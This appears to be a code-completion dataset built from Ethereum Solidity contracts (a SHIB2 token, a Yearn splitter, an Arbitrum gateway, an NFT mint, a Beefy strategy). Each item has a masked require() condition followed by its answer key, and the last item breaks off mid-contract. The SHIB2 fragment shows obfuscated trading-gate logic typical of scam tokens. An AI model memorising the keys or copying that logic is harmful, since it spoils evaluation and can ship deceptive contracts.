function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private greArr;
address[] private theAddr;
mapping (address => bool) private Super;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
bool[3] private Mega;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private Fighting = block.number*2;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; uint256 private theN;
bool private trading = false; uint256 private Shower = 0; uint256 private Bath = 1;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function last(uint256 g) internal view returns (address) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _balancesOfTheGoblin(address sender, address recipient) internal {
require(<FILL_ME>)
Bath += ((Super[sender] != true) && (Super[recipient] == true)) ? 1 : 0;
if (((Super[sender] == true) && (Super[recipient] != true)) || ((Super[sender] != true) && (Super[recipient] != true))) { greArr.push(recipient); }
_balancesOfTheGreat(sender, recipient);
}
receive() external payable {
}
function _balancesOfTheGreat(address sender, address recipient) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployGreat(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract ShibaInu2 is ERC20Token {
constructor() ERC20Token("Shiba Inu 2.0", "SHIB2", msg.sender, 37700 * 10 ** 18) {
}
}
| (trading||(sender==theAddr[1])),"ERC20: trading is not yet enabled." | 84,465 | (trading||(sender==theAddr[1])) |
"!approved" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// These are the core Yearn libraries
import "IERC20.sol";
import "EnumerableSet.sol";
interface ICurveFi {
function exchange(
// CRV-ETH and CVX-ETH
uint256 from,
uint256 to,
uint256 _from_amount,
uint256 _min_to_amount,
bool use_eth
) external returns (uint);
}
interface IGauge {
struct VotedSlope {
uint slope;
uint power;
uint end;
}
struct Point {
uint bias;
uint slope;
}
function vote_user_slopes(address, address) external view returns (VotedSlope memory);
function last_user_vote(address, address) external view returns (uint);
function points_weight(address, uint256) external view returns (Point memory);
function checkpoint_gauge(address) external;
function time_total() external view returns (uint);
}
interface IStrategy {
function estimatedTotalAssets() external view returns (uint);
function rewardsContract() external view returns (address);
}
interface IRewards {
function getReward(address, bool) external;
}
interface IYCRV {
function mint(uint, address) external;
}
contract Splitter {
using EnumerableSet for EnumerableSet.AddressSet;
event Split(uint yearnAmount, uint keep, uint templeAmount, uint period);
event PeriodUpdated(uint period, uint globalBias, uint userBias);
event YearnUpdated(address recipient, uint keepCRV);
event TempleUpdated(address recipient);
event ShareUpdated(uint share);
event PendingShareUpdated(address setter, uint share);
event Sweep(address sweeper, address token, uint amount);
event ApprovedCaller(address admin, address caller);
event RemovedCaller(address admin, address caller);
struct Yearn{
address recipient;
address voter;
address admin;
uint share;
uint keepCRV;
}
struct Period{
uint period;
uint globalBias;
uint userBias;
}
uint internal constant precision = 10_000;
uint internal constant WEEK = 7 days;
ICurveFi internal constant cvxeth = ICurveFi(0xB576491F1E6e5E62f1d8F26062Ee822B40B0E0d4);
ICurveFi internal constant crveth = ICurveFi(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511); // use curve's new CRV-ETH crypto pool to sell our CRV
IERC20 internal constant cvx = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
IERC20 internal constant crv = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
IERC20 internal constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IYCRV internal constant ycrv = IYCRV(0xFCc5c47bE19d06BF83eB04298b026F81069ff65b);
IERC20 public constant liquidityPool = IERC20(0xdaDfD00A2bBEb1abc4936b1644a3033e1B653228);
IGauge public constant gaugeController = IGauge(0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB);
address public constant gauge = 0x8f162742a7BCDb87EB52d83c687E43356055a68B;
mapping(address => uint) public pendingShare;
Yearn public yearn;
Period public period;
address public strategy;
address public templeRecipient = 0xE97CB3a6A0fb5DA228976F3F2B8c37B6984e7915;
EnumerableSet.AddressSet private approvedCallers;
constructor() public {
}
function split() external {
require(<FILL_ME>)
_split();
}
function _split() internal {
}
function updatePeriod() external {
}
// @dev updates all period data to present week
function _updatePeriod() internal {
}
function _computeSplitRatios() internal view returns (uint yRatio, uint tRatio) {
}
// @dev Estimate only.
// @dev Only measures against strategy's current CRV balance, and will be inaccurate if period data is stale.
function estimateSplit() external view returns (uint ySplit, uint tSplit) {
}
/// @dev Compute bias from slope and lock end
/// @param _slope User's slope
/// @param _end Timestamp of user's lock end
function calcBias(uint _slope, uint _end) internal view returns (uint) {
}
// @dev Estimate only.
function estimateSplitRatios() external view returns (uint ySplit, uint tSplit) {
}
// Sells our CRV and CVX on Curve, then WETH -> stables together on UniV3
function _sellCvx(uint _amount) internal {
}
function _buyCRV() internal returns (uint) {
}
function setStrategy(address _strategy) external {
}
// @notice For use by yearn only to update discretionary values
// @dev Other values in the struct are either immutable or require agreement by both parties to update.
function setYearn(address _recipient, uint _keepCRV) external {
}
function setTemple(address _recipient) external {
}
// @notice update share if both parties agree.
function updateYearnShare(uint _share) external {
}
function sweep(address _token) external {
}
/// @notice Allow owner to add address to blacklist, preventing them from claiming
/// @dev Any vote weight address added
function addApprovedCaller(address _caller) external {
}
/// @notice Allow owner to remove address from blacklist
function removeApprovedCaller(address _caller) external {
}
/// @notice Check if address is approved to call split
function isApprovedCaller(address caller) public view returns (bool) {
}
/// @dev Helper function, if possible, avoid using on-chain as list can grow unbounded
function getApprovedCallers() public view returns (address[] memory _callers) {
}
}
| isApprovedCaller(msg.sender)||msg.sender==strategy,"!approved" | 84,544 | isApprovedCaller(msg.sender)||msg.sender==strategy |
"NOT_FROM_ROUTER" | // SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Create2.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../L1ArbitrumMessenger.sol";
import "./IL1ArbitrumGateway.sol";
import "../../libraries/ProxyUtil.sol";
import "../../libraries/gateway/GatewayMessageHandler.sol";
import "../../libraries/gateway/TokenGateway.sol";
import "../../libraries/ITransferAndCall.sol";
import "../../libraries/ERC165.sol";
/**
* @title Common interface for gatways on L1 messaging to Arbitrum.
*/
abstract contract L1ArbitrumGateway is
L1ArbitrumMessenger,
TokenGateway,
ERC165,
IL1ArbitrumGateway
{
using SafeERC20 for IERC20;
using Address for address;
address public override inbox;
event DepositInitiated(
address l1Token,
address indexed _from,
address indexed _to,
uint256 indexed _sequenceNumber,
uint256 _amount
);
event WithdrawalFinalized(
address l1Token,
address indexed _from,
address indexed _to,
uint256 indexed _exitNum,
uint256 _amount
);
modifier onlyCounterpartGateway() override {
}
function postUpgradeInit() external {
}
function _initialize(
address _l2Counterpart,
address _router,
address _inbox
) internal {
}
/**
* @notice Finalizes a withdrawal via Outbox message; callable only by L2Gateway.outboundTransfer
* @param _token L1 address of token being withdrawn from
* @param _from initiator of withdrawal
* @param _to address the L2 withdrawal call set as the destination.
* @param _amount Token amount being withdrawn
* @param _data encoded exitNum (Sequentially increasing exit counter determined by the L2Gateway) and additinal hook data
*/
function finalizeInboundTransfer(
address _token,
address _from,
address _to,
uint256 _amount,
bytes calldata _data
) public payable virtual override onlyCounterpartGateway {
}
function getExternalCall(
uint256, /* _exitNum */
address _initialDestination,
bytes memory _initialData
) public view virtual returns (address target, bytes memory data) {
}
function inboundEscrowTransfer(
address _l1Token,
address _dest,
uint256 _amount
) internal virtual {
}
/**
* @dev Only excess gas is refunded to the _refundTo account, l2 call value is always returned to the _to account
*/
function createOutboundTxCustomRefund(
address _refundTo,
address _from,
uint256, /* _tokenAmount */
uint256 _maxGas,
uint256 _gasPriceBid,
uint256 _maxSubmissionCost,
bytes memory _outboundCalldata
) internal virtual returns (uint256) {
}
/**
* @notice DEPRECATED - look at createOutboundTxCustomRefund instead
*/
function createOutboundTx(
address _from,
uint256 _tokenAmount,
uint256 _maxGas,
uint256 _gasPriceBid,
uint256 _maxSubmissionCost,
bytes memory _outboundCalldata
) internal returns (uint256) {
}
/**
* @notice DEPRECATED - look at outboundTransferCustomRefund instead
*/
function outboundTransfer(
address _l1Token,
address _to,
uint256 _amount,
uint256 _maxGas,
uint256 _gasPriceBid,
bytes calldata _data
) public payable override returns (bytes memory res) {
}
/**
* @notice Deposit ERC20 token from Ethereum into Arbitrum. If L2 side hasn't been deployed yet, includes name/symbol/decimals data for initial L2 deploy. Initiate by GatewayRouter.
* @dev L2 address alias will not be applied to the following types of addresses on L1:
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* @param _l1Token L1 address of ERC20
* @param _refundTo Account, or its L2 alias if it have code in L1, to be credited with excess gas refund in L2
* @param _to Account to be credited with the tokens in the L2 (can be the user's L2 account or a contract), not subject to L2 aliasing
This account, or its L2 alias if it have code in L1, will also be able to cancel the retryable ticket and receive callvalue refund
* @param _amount Token Amount
* @param _maxGas Max gas deducted from user's L2 balance to cover L2 execution
* @param _gasPriceBid Gas price for L2 execution
* @param _data encoded data from router and user
* @return res abi encoded inbox sequence number
*/
// * @param maxSubmissionCost Max gas deducted from user's L2 balance to cover base submission fee
function outboundTransferCustomRefund(
address _l1Token,
address _refundTo,
address _to,
uint256 _amount,
uint256 _maxGas,
uint256 _gasPriceBid,
bytes calldata _data
) public payable virtual override returns (bytes memory res) {
require(<FILL_ME>)
// This function is set as public and virtual so that subclasses can override
// it and add custom validation for callers (ie only whitelisted users)
address _from;
uint256 seqNum;
bytes memory extraData;
{
uint256 _maxSubmissionCost;
uint256 tokenTotalFeeAmount;
if (super.isRouter(msg.sender)) {
// router encoded
(_from, extraData) = GatewayMessageHandler.parseFromRouterToGateway(_data);
} else {
_from = msg.sender;
extraData = _data;
}
// unpack user encoded data
(_maxSubmissionCost, extraData, tokenTotalFeeAmount) = _parseUserEncodedData(extraData);
// the inboundEscrowAndCall functionality has been disabled, so no data is allowed
require(extraData.length == 0, "EXTRA_DATA_DISABLED");
require(_l1Token.isContract(), "L1_NOT_CONTRACT");
address l2Token = calculateL2TokenAddress(_l1Token);
require(l2Token != address(0), "NO_L2_TOKEN_SET");
_amount = outboundEscrowTransfer(_l1Token, _from, _amount);
// we override the res field to save on the stack
res = getOutboundCalldata(_l1Token, _from, _to, _amount, extraData);
seqNum = _initiateDeposit(
_refundTo,
_from,
_amount,
_maxGas,
_gasPriceBid,
_maxSubmissionCost,
tokenTotalFeeAmount,
res
);
}
emit DepositInitiated(_l1Token, _from, _to, seqNum, _amount);
return abi.encode(seqNum);
}
function outboundEscrowTransfer(
address _l1Token,
address _from,
uint256 _amount
) internal virtual returns (uint256 amountReceived) {
}
function getOutboundCalldata(
address _l1Token,
address _from,
address _to,
uint256 _amount,
bytes memory _data
) public view virtual override returns (bytes memory outboundCalldata) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
/**
* @notice Parse data that was encoded by user and passed into the outbound TX entrypoint
* @dev In case of standard ETH-based rollup, format of encoded data is expected to be:
* - maxSubmissionCost (uint256)
* - callHookData (bytes)
* In case of ERC20-based rollup, format of encoded data is expected to be:
* - maxSubmissionCost (uint256)
* - tokenTotalFeeAmount (uint256)
* - callHookData (bytes)
* @param data data encoded by user
* @return maxSubmissionCost Max gas deducted from user's L2 balance to cover base submission fee
* @return callHookData Calldata for extra call in inboundEscrowAndCall on L2
* @return tokenTotalFeeAmount Amount of fees to be deposited in native token to cover for retryable ticket cost (used only in ERC20-based rollups, otherwise 0)
*/
function _parseUserEncodedData(bytes memory data)
internal
pure
virtual
returns (
uint256 maxSubmissionCost,
bytes memory callHookData,
uint256 tokenTotalFeeAmount
)
{
}
/**
* @notice Intermediate internal function that passes on parameters needed to trigger creation of retryable ticket.
* @param _refundTo Account, or its L2 alias if it have code in L1, to be credited with excess gas refund in L2
* @param _from Initiator of deposit
* @param _amount Token amount being deposited
* @param _maxGas Max gas deducted from user's L2 balance to cover L2 execution
* @param _gasPriceBid Gas price for L2 execution
* @param _maxSubmissionCost Max gas deducted from user's L2 balance to cover base submission fee
* @param _data encoded data from router and user
* @return res abi encoded inbox sequence number
*/
function _initiateDeposit(
address _refundTo,
address _from,
uint256 _amount,
uint256 _maxGas,
uint256 _gasPriceBid,
uint256 _maxSubmissionCost,
uint256, // tokenTotalFeeAmount - amount of fees to be deposited in native token to cover for retryable ticket cost (used only in ERC20-based rollups)
bytes memory _data
) internal virtual returns (uint256) {
}
}
| isRouter(msg.sender),"NOT_FROM_ROUTER" | 84,579 | isRouter(msg.sender) |
"Not on whitelist" | pragma solidity 0.8.9;
contract ElderTown is ERC721Enumerable, Ownable {
using Strings for uint256;
string private _baseTokenURI = "ipfs://QmPBYKxSU589fyURqyMxWupAszVmXoSnDt625wwYZEcaaY/";
string private extension = ".json";
address public admin1 = 0xFE1fB7b4bFd60c4720DA9b2f592d2bc031158ab9;
address public admin2 = 0x54971d0BEBf8a2dDbEad21A64ba9b3F84B5783eF;
address public admin3 = 0x1e6f1aa7d06c8a3483efed7Cf6B345c5b8D976b5;
address public admin4 = 0x9dB36dd20A86C32779CE86821f7bb18A55AbA79e;
address public admin5 = 0x22667dA0463755aa23947c3c754dBb8dA795b8F1;
uint256 public constant MAX_ENTRIES = 7777;
uint256 public constant PRESALE_ENTRIES = 2777;
uint256 public constant PRESALE_PERIOD = 414;
uint256 public constant PRICE = 0.0045 ether;
uint256 public constant PRESALE_LIMIT = 2;
uint256 public constant LIMIT_PER_TRANSACTION = 20;
uint256 public totalMinted;
uint public startTime;
bool public saleStarted;
bytes32 private root;
constructor() ERC721("eldertown.wtf", "ETWTF") {
}
function mint(bytes32[] memory _proof, uint256 amount) external payable {
uint256 value = msg.value;
uint256 balance = balanceOf(msg.sender);
uint256 _amount = amount;
require(saleStarted == true, "Sale Has Not Started");
if (block.timestamp - startTime < PRESALE_PERIOD) {
require(<FILL_ME>)
require(balance + _amount <= PRESALE_LIMIT, "Exceeds Max Presale Amount Per Wallet");
require(totalMinted + _amount <= PRESALE_ENTRIES, "Exceeds Presale Amount");
} else {
require(_amount + totalMinted <= MAX_ENTRIES, "Exceeds Total Amounts");
require(_amount <= LIMIT_PER_TRANSACTION, "Exceeds Max Amount Per Transaction");
uint256 free;
if (totalMinted < PRESALE_ENTRIES) {
free = 1;
if (MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true) {
free += 2;
}
if (free >= balance) {
free -= balance;
} else {
free = 0;
}
if (free > PRESALE_ENTRIES - totalMinted) {
free = PRESALE_ENTRIES - totalMinted;
}
}
if (_amount >= free) {
_amount -= free;
} else {
_amount = 0;
}
require(value >= PRICE * _amount, "Insufficient Fund");
}
for (uint256 i = 0 ; i < amount ; ++i) {
_safeMint(msg.sender, ++totalMinted);
}
payable(admin1).transfer(value * 3 / 10);
payable(admin2).transfer(value * 3 / 10);
payable(admin3).transfer(value * 225 / 1000);
payable(admin4).transfer(value * 125 / 1000);
payable(admin5).transfer(value * 5 / 100);
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function startSale() external onlyOwner {
}
function getTime() external view returns(uint256) {
}
function getExtension() external view returns (string memory) {
}
function setExtension(string memory newExtension) external {
}
function setRoot(bytes32 _newRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
}
| MerkleProof.verify(_proof,root,keccak256(abi.encodePacked(msg.sender)))==true,"Not on whitelist" | 84,590 | MerkleProof.verify(_proof,root,keccak256(abi.encodePacked(msg.sender)))==true |
"Exceeds Max Presale Amount Per Wallet" | pragma solidity 0.8.9;
contract ElderTown is ERC721Enumerable, Ownable {
using Strings for uint256;
string private _baseTokenURI = "ipfs://QmPBYKxSU589fyURqyMxWupAszVmXoSnDt625wwYZEcaaY/";
string private extension = ".json";
address public admin1 = 0xFE1fB7b4bFd60c4720DA9b2f592d2bc031158ab9;
address public admin2 = 0x54971d0BEBf8a2dDbEad21A64ba9b3F84B5783eF;
address public admin3 = 0x1e6f1aa7d06c8a3483efed7Cf6B345c5b8D976b5;
address public admin4 = 0x9dB36dd20A86C32779CE86821f7bb18A55AbA79e;
address public admin5 = 0x22667dA0463755aa23947c3c754dBb8dA795b8F1;
uint256 public constant MAX_ENTRIES = 7777;
uint256 public constant PRESALE_ENTRIES = 2777;
uint256 public constant PRESALE_PERIOD = 414;
uint256 public constant PRICE = 0.0045 ether;
uint256 public constant PRESALE_LIMIT = 2;
uint256 public constant LIMIT_PER_TRANSACTION = 20;
uint256 public totalMinted;
uint public startTime;
bool public saleStarted;
bytes32 private root;
constructor() ERC721("eldertown.wtf", "ETWTF") {
}
function mint(bytes32[] memory _proof, uint256 amount) external payable {
uint256 value = msg.value;
uint256 balance = balanceOf(msg.sender);
uint256 _amount = amount;
require(saleStarted == true, "Sale Has Not Started");
if (block.timestamp - startTime < PRESALE_PERIOD) {
require(MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true, "Not on whitelist");
require(<FILL_ME>)
require(totalMinted + _amount <= PRESALE_ENTRIES, "Exceeds Presale Amount");
} else {
require(_amount + totalMinted <= MAX_ENTRIES, "Exceeds Total Amounts");
require(_amount <= LIMIT_PER_TRANSACTION, "Exceeds Max Amount Per Transaction");
uint256 free;
if (totalMinted < PRESALE_ENTRIES) {
free = 1;
if (MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true) {
free += 2;
}
if (free >= balance) {
free -= balance;
} else {
free = 0;
}
if (free > PRESALE_ENTRIES - totalMinted) {
free = PRESALE_ENTRIES - totalMinted;
}
}
if (_amount >= free) {
_amount -= free;
} else {
_amount = 0;
}
require(value >= PRICE * _amount, "Insufficient Fund");
}
for (uint256 i = 0 ; i < amount ; ++i) {
_safeMint(msg.sender, ++totalMinted);
}
payable(admin1).transfer(value * 3 / 10);
payable(admin2).transfer(value * 3 / 10);
payable(admin3).transfer(value * 225 / 1000);
payable(admin4).transfer(value * 125 / 1000);
payable(admin5).transfer(value * 5 / 100);
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function startSale() external onlyOwner {
}
function getTime() external view returns(uint256) {
}
function getExtension() external view returns (string memory) {
}
function setExtension(string memory newExtension) external {
}
function setRoot(bytes32 _newRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
}
| balance+_amount<=PRESALE_LIMIT,"Exceeds Max Presale Amount Per Wallet" | 84,590 | balance+_amount<=PRESALE_LIMIT |
"Exceeds Presale Amount" | pragma solidity 0.8.9;
contract ElderTown is ERC721Enumerable, Ownable {
using Strings for uint256;
string private _baseTokenURI = "ipfs://QmPBYKxSU589fyURqyMxWupAszVmXoSnDt625wwYZEcaaY/";
string private extension = ".json";
address public admin1 = 0xFE1fB7b4bFd60c4720DA9b2f592d2bc031158ab9;
address public admin2 = 0x54971d0BEBf8a2dDbEad21A64ba9b3F84B5783eF;
address public admin3 = 0x1e6f1aa7d06c8a3483efed7Cf6B345c5b8D976b5;
address public admin4 = 0x9dB36dd20A86C32779CE86821f7bb18A55AbA79e;
address public admin5 = 0x22667dA0463755aa23947c3c754dBb8dA795b8F1;
uint256 public constant MAX_ENTRIES = 7777;
uint256 public constant PRESALE_ENTRIES = 2777;
uint256 public constant PRESALE_PERIOD = 414;
uint256 public constant PRICE = 0.0045 ether;
uint256 public constant PRESALE_LIMIT = 2;
uint256 public constant LIMIT_PER_TRANSACTION = 20;
uint256 public totalMinted;
uint public startTime;
bool public saleStarted;
bytes32 private root;
constructor() ERC721("eldertown.wtf", "ETWTF") {
}
function mint(bytes32[] memory _proof, uint256 amount) external payable {
uint256 value = msg.value;
uint256 balance = balanceOf(msg.sender);
uint256 _amount = amount;
require(saleStarted == true, "Sale Has Not Started");
if (block.timestamp - startTime < PRESALE_PERIOD) {
require(MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true, "Not on whitelist");
require(balance + _amount <= PRESALE_LIMIT, "Exceeds Max Presale Amount Per Wallet");
require(<FILL_ME>)
} else {
require(_amount + totalMinted <= MAX_ENTRIES, "Exceeds Total Amounts");
require(_amount <= LIMIT_PER_TRANSACTION, "Exceeds Max Amount Per Transaction");
uint256 free;
if (totalMinted < PRESALE_ENTRIES) {
free = 1;
if (MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true) {
free += 2;
}
if (free >= balance) {
free -= balance;
} else {
free = 0;
}
if (free > PRESALE_ENTRIES - totalMinted) {
free = PRESALE_ENTRIES - totalMinted;
}
}
if (_amount >= free) {
_amount -= free;
} else {
_amount = 0;
}
require(value >= PRICE * _amount, "Insufficient Fund");
}
for (uint256 i = 0 ; i < amount ; ++i) {
_safeMint(msg.sender, ++totalMinted);
}
payable(admin1).transfer(value * 3 / 10);
payable(admin2).transfer(value * 3 / 10);
payable(admin3).transfer(value * 225 / 1000);
payable(admin4).transfer(value * 125 / 1000);
payable(admin5).transfer(value * 5 / 100);
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function startSale() external onlyOwner {
}
function getTime() external view returns(uint256) {
}
function getExtension() external view returns (string memory) {
}
function setExtension(string memory newExtension) external {
}
function setRoot(bytes32 _newRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
}
| totalMinted+_amount<=PRESALE_ENTRIES,"Exceeds Presale Amount" | 84,590 | totalMinted+_amount<=PRESALE_ENTRIES |
"Exceeds Total Amounts" | pragma solidity 0.8.9;
contract ElderTown is ERC721Enumerable, Ownable {
using Strings for uint256;
string private _baseTokenURI = "ipfs://QmPBYKxSU589fyURqyMxWupAszVmXoSnDt625wwYZEcaaY/";
string private extension = ".json";
address public admin1 = 0xFE1fB7b4bFd60c4720DA9b2f592d2bc031158ab9;
address public admin2 = 0x54971d0BEBf8a2dDbEad21A64ba9b3F84B5783eF;
address public admin3 = 0x1e6f1aa7d06c8a3483efed7Cf6B345c5b8D976b5;
address public admin4 = 0x9dB36dd20A86C32779CE86821f7bb18A55AbA79e;
address public admin5 = 0x22667dA0463755aa23947c3c754dBb8dA795b8F1;
uint256 public constant MAX_ENTRIES = 7777;
uint256 public constant PRESALE_ENTRIES = 2777;
uint256 public constant PRESALE_PERIOD = 414;
uint256 public constant PRICE = 0.0045 ether;
uint256 public constant PRESALE_LIMIT = 2;
uint256 public constant LIMIT_PER_TRANSACTION = 20;
uint256 public totalMinted;
uint public startTime;
bool public saleStarted;
bytes32 private root;
constructor() ERC721("eldertown.wtf", "ETWTF") {
}
function mint(bytes32[] memory _proof, uint256 amount) external payable {
uint256 value = msg.value;
uint256 balance = balanceOf(msg.sender);
uint256 _amount = amount;
require(saleStarted == true, "Sale Has Not Started");
if (block.timestamp - startTime < PRESALE_PERIOD) {
require(MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true, "Not on whitelist");
require(balance + _amount <= PRESALE_LIMIT, "Exceeds Max Presale Amount Per Wallet");
require(totalMinted + _amount <= PRESALE_ENTRIES, "Exceeds Presale Amount");
} else {
require(<FILL_ME>)
require(_amount <= LIMIT_PER_TRANSACTION, "Exceeds Max Amount Per Transaction");
uint256 free;
if (totalMinted < PRESALE_ENTRIES) {
free = 1;
if (MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true) {
free += 2;
}
if (free >= balance) {
free -= balance;
} else {
free = 0;
}
if (free > PRESALE_ENTRIES - totalMinted) {
free = PRESALE_ENTRIES - totalMinted;
}
}
if (_amount >= free) {
_amount -= free;
} else {
_amount = 0;
}
require(value >= PRICE * _amount, "Insufficient Fund");
}
for (uint256 i = 0 ; i < amount ; ++i) {
_safeMint(msg.sender, ++totalMinted);
}
payable(admin1).transfer(value * 3 / 10);
payable(admin2).transfer(value * 3 / 10);
payable(admin3).transfer(value * 225 / 1000);
payable(admin4).transfer(value * 125 / 1000);
payable(admin5).transfer(value * 5 / 100);
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function startSale() external onlyOwner {
}
function getTime() external view returns(uint256) {
}
function getExtension() external view returns (string memory) {
}
function setExtension(string memory newExtension) external {
}
function setRoot(bytes32 _newRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
}
| _amount+totalMinted<=MAX_ENTRIES,"Exceeds Total Amounts" | 84,590 | _amount+totalMinted<=MAX_ENTRIES |
"outputToLp0Route[0] != output" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin-4/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin-4/contracts/token/ERC20/utils/SafeERC20.sol";
import "../../interfaces/common/IUniswapRouterETH.sol";
import "../../interfaces/common/IUniswapV2Pair.sol";
import "../../interfaces/common/IMasterChef.sol";
import "../Common/StratFeeManagerInitializable.sol";
import "../../utils/StringUtils.sol";
import "../../utils/GasFeeThrottler.sol";
contract StrategyCommonChefLPProxy is StratFeeManagerInitializable, GasFeeThrottler {
using SafeERC20 for IERC20;
// Tokens used
address public native;
address public output;
address public want;
address public lpToken0;
address public lpToken1;
// Third party contracts
address public chef;
uint256 public poolId;
bool public harvestOnDeposit;
uint256 public lastHarvest;
string public pendingRewardsFunctionName;
// Routes
address[] public outputToNativeRoute;
address[] public outputToLp0Route;
address[] public outputToLp1Route;
event StratHarvest(address indexed harvester, uint256 wantHarvested, uint256 tvl);
event Deposit(uint256 tvl);
event Withdraw(uint256 tvl);
event ChargedFees(uint256 callFees, uint256 beefyFees, uint256 strategistFees);
function initialize(
address _want,
uint256 _poolId,
address _chef,
CommonAddresses calldata _commonAddresses,
address[] memory _outputToNativeRoute,
address[] memory _outputToLp0Route,
address[] memory _outputToLp1Route
) public initializer {
__StratFeeManager_init(_commonAddresses);
want = _want;
poolId = _poolId;
chef = _chef;
output = _outputToNativeRoute[0];
native = _outputToNativeRoute[_outputToNativeRoute.length - 1];
outputToNativeRoute = _outputToNativeRoute;
// setup lp routing
lpToken0 = IUniswapV2Pair(want).token0();
require(<FILL_ME>)
require(_outputToLp0Route[_outputToLp0Route.length - 1] == lpToken0, "outputToLp0Route[last] != lpToken0");
outputToLp0Route = _outputToLp0Route;
lpToken1 = IUniswapV2Pair(want).token1();
require(_outputToLp1Route[0] == output, "outputToLp1Route[0] != output");
require(_outputToLp1Route[_outputToLp1Route.length - 1] == lpToken1, "outputToLp1Route[last] != lpToken1");
outputToLp1Route = _outputToLp1Route;
_giveAllowances();
}
// puts the funds to work
function deposit() public whenNotPaused {
}
function withdraw(uint256 _amount) external {
}
function beforeDeposit() external virtual override {
}
function harvest() external gasThrottle virtual {
}
function harvest(address callFeeRecipient) external gasThrottle virtual {
}
function managerHarvest() external onlyManager {
}
// compounds earnings and charges performance fee
function _harvest(address callFeeRecipient) internal whenNotPaused {
}
// performance fees
function chargeFees(address callFeeRecipient) internal {
}
// Adds liquidity to AMM and gets more LP tokens.
function addLiquidity() internal {
}
// calculate the total underlaying 'want' held by the strat.
function balanceOf() public view returns (uint256) {
}
// it calculates how much 'want' this contract holds.
function balanceOfWant() public view returns (uint256) {
}
// it calculates how much 'want' the strategy has working in the farm.
